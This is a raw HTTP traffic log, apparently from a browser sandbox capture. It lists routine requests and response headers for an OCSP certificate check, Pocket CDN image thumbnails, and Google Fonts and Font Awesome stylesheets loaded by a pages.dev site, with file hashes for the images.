x-cache: Hit from cloudfront
x-amz-cf-id: CueKD4mKZFXrPdwSOtYV3muaegRDOA632EztOt22qrk0Qd2yj1oPkg==
via: 1.1 6a63e853422f3197776fb098fab5a416.cloudfront.net (CloudFront), 1.1 ebe4011a81a36e2bf678f69ce1711330.cloudfront.net (CloudFront), 1.1 google
date: Fri, 30 Sep 2022 21:57:18 GMT
age: 85982
etag: "49798c4a15545a49f3870b2a16af78dbf8e168cc"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10201
Md5:    4be456dbe857580c7b4c7fca3936e04e
Sha1:   49798c4a15545a49f3870b2a16af78dbf8e168cc
Sha256: 23e42987d5e9939424d5f4e4fe0c38faf20a221732097927dd4a656199d9d315
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "61BF2BDDECE68C7876AB5481C14ED1B1879343E55C86EE013B4F3A8D3353E6B4"
Last-Modified: Sat, 01 Oct 2022 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10251
Expires: Sun, 02 Oct 2022 00:41:11 GMT
Date: Sat, 01 Oct 2022 21:50:20 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F9b0d9d19-67ea-434c-8233-4ac3ec9e78e7.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 6959
x-amzn-requestid: eaf91f33-2fe3-4ed5-b89c-6199c2f17651
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZSxLCF6toAMFSDg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63376246-3b8c7f290ffda97b2d179433;Sampled=0
x-amzn-remapped-date: Fri, 30 Sep 2022 21:40:22 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: xr7RU7lL1QVYd5D1qQ_jqJQbefIVMeUQsJgxK4C-EvT0Hx0U37SNWQ==
via: 1.1 5ab5dc09da67e3ea794ec8a82992cc88.cloudfront.net (CloudFront), 1.1 cd64decb1403270c914848213601a674.cloudfront.net (CloudFront), 1.1 google
date: Fri, 30 Sep 2022 22:16:03 GMT
age: 84857
etag: "c09ee0f2be578f0067b2ed0237d565a04438147e"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6959
Md5:    21e55a6ca7350ed834993a486e138de1
Sha1:   c09ee0f2be578f0067b2ed0237d565a04438147e
Sha256: 124ca8ae6e3f7c7bb28f0d47fa693753884261ed61896eccf7bc13f249fc8960
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F7fc3f7b5-4c80-4662-ba8b-7997bdbdb6a3.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8299
x-amzn-requestid: 91eed6b6-632f-472b-93d7-4192425fcdfd
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZSxLDF0SoAMFWgw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63376246-17bb04894cc786555d693ec3;Sampled=0
x-amzn-remapped-date: Fri, 30 Sep 2022 21:40:22 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: 8JvNUZRyYeZjd4ZxOrGMCbJxVf46NRhiHXsFvCAZn2QeUkdCzKoYbw==
via: 1.1 5a1753718d8b33365e5f693dd338c510.cloudfront.net (CloudFront), 1.1 001e7070d795018d01b93988b9723742.cloudfront.net (CloudFront), 1.1 google
date: Fri, 30 Sep 2022 22:15:58 GMT
age: 84862
etag: "2df7db53629c7adda2c0a4dfe9c17791b73a75e1"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8299
Md5:    0d31a422078d02bda318c693c05a58dc
Sha1:   2df7db53629c7adda2c0a4dfe9c17791b73a75e1
Sha256: a07fe4e135b52da6dfa9d8a55684f0a3bf5f5ce52c4064c8ab37836a939902a9
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F1d8201d9-93ae-492b-8ea9-d245fa2e4073.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 3640
x-amzn-requestid: b5f5c567-8aa9-414b-8310-cf3006711ee9
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZJo1vFIwoAMF2mA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6333bb57-0f1cbcbb29287f5367a14b67;Sampled=0
x-amzn-remapped-date: Wed, 28 Sep 2022 03:11:19 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: HiU5q54X8yU3PXfTqYyCa9c3NbGAmjVLQRYn3P47trBJhtCP4juxRQ==
via: 1.1 d1151317ba32afe0e6370fd69fed222e.cloudfront.net (CloudFront), 1.1 6172bb1a5d00a3b06ae3700570ebe116.cloudfront.net (CloudFront), 1.1 google
date: Sat, 01 Oct 2022 11:00:33 GMT
age: 38987
etag: "303c6bb672425443a15bbe22394bd1149f887904"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   3640
Md5:    a9e7ba045a723120501994dea21709db
Sha1:   303c6bb672425443a15bbe22394bd1149f887904
Sha256: b1bea7212e55ec8eaf62434214a86fed7d6a990d105984d79a7fa0e793395d59
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F59da9c68-5ffa-4dc1-adf8-645278cd60ca.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10380
x-amzn-requestid: 35ee2a77-159c-4bb4-a825-98c638398586
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZPdZYHsTIAMFQNQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63360f6f-4f68073432bcea371c7b8f03;Sampled=0
x-amzn-remapped-date: Thu, 29 Sep 2022 21:34:39 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: IENB0e-e13ywHJKPgyLWn1bGPMMxFLUu3cIUcREjGhxDEMROEL1jBg==
via: 1.1 00f0a41f749793b9dd653153037c957e.cloudfront.net (CloudFront), 1.1 4f3feb5c4393987d42d1971d404d7cea.cloudfront.net (CloudFront), 1.1 google
date: Sat, 01 Oct 2022 21:45:20 GMT
age: 300
etag: "265840b2d2fc6eb764cc6409b05deee8d77a19c2"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10380
Md5:    139a144f8cb04ac8aae65f4bad1473e7
Sha1:   265840b2d2fc6eb764cc6409b05deee8d77a19c2
Sha256: 6e0f01b6bdd5a92e92c7b29a6172a2900c68900afd2abba948940621252e0fd8
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F180dee10-1cde-4fbe-8a74-62b7b3bdb1e2.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 6315
x-amzn-requestid: f0791b53-3c5f-4d94-954d-992a529ebb60
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZPnunF35oAMFYbg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63361ff6-2adb303349153ced73ccecf6;Sampled=0
x-amzn-remapped-date: Thu, 29 Sep 2022 22:45:10 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: RGS_T9Cwl5Vjs_bxngHRomiYppE5fLe0SnH19VEfc5-PCT5tb5ku1A==
via: 1.1 470e3fe246a660ba6ace67a79f78d246.cloudfront.net (CloudFront), 1.1 1b74ccf4cb51eacf97a0e6d60ae46a3e.cloudfront.net (CloudFront), 1.1 google
date: Sat, 01 Oct 2022 04:40:52 GMT
age: 61768
etag: "58ff0bf8ce7528b303d28bab01a80ad721705569"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6315
Md5:    206fb65e75dbadf119512f71e0b78402
Sha1:   58ff0bf8ce7528b303d28bab01a80ad721705569
Sha256: 56c8d5f3b3060ee54bf81995269b86c070855d8c33bf437161339a45b309703f
                                        
                                            GET /css?family=Archivo+Narrow&display=swap HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Connection: keep-alive
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.10
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
access-control-allow-origin: *
timing-allow-origin: *
link: <https://fonts.gstatic.com>; rel=preconnect; crossorigin
strict-transport-security: max-age=31536000
expires: Sat, 01 Oct 2022 21:50:18 GMT
date: Sat, 01 Oct 2022 21:50:18 GMT
cache-control: private, max-age=86400
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin-allow-popups
content-encoding: gzip
server: ESF
x-xss-protection: 0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /releases/v5.7.0/css/all.css HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Sec-Fetch-Dest: style
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         172.64.132.15
HTTP/2 200 OK
content-type: text/css
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
x-amz-id-2: 50yxhdtxIKT9RHYRhctPXHEe76FY74yDSrKXaPj4+ZP6BcO1sKVT+Fm5n34AJcg5wZYaoO+UkOI=
x-amz-request-id: FWFZE6EANG0AK666
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:15 GMT
etag: W/"251d28bd755f5269a4531df8a81d5664"
cache-control: max-age=31556926
cf-cache-status: HIT
age: 59023
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N6GbT5DAmvj9TPA4ifVgWkPm4lryffAF%2FFKvPpP8pR97EdmgLYd8aEQ6f0VY9c0tmuh1tk%2Bov2cYIJW1%2F%2F%2BJNfCZzHMKl1hGA%2FMh84GPKlLjIKPx%2FV5J8SyLXx3MFT3p8V9G2oo3"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 753869c53b5371b7-LHR
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---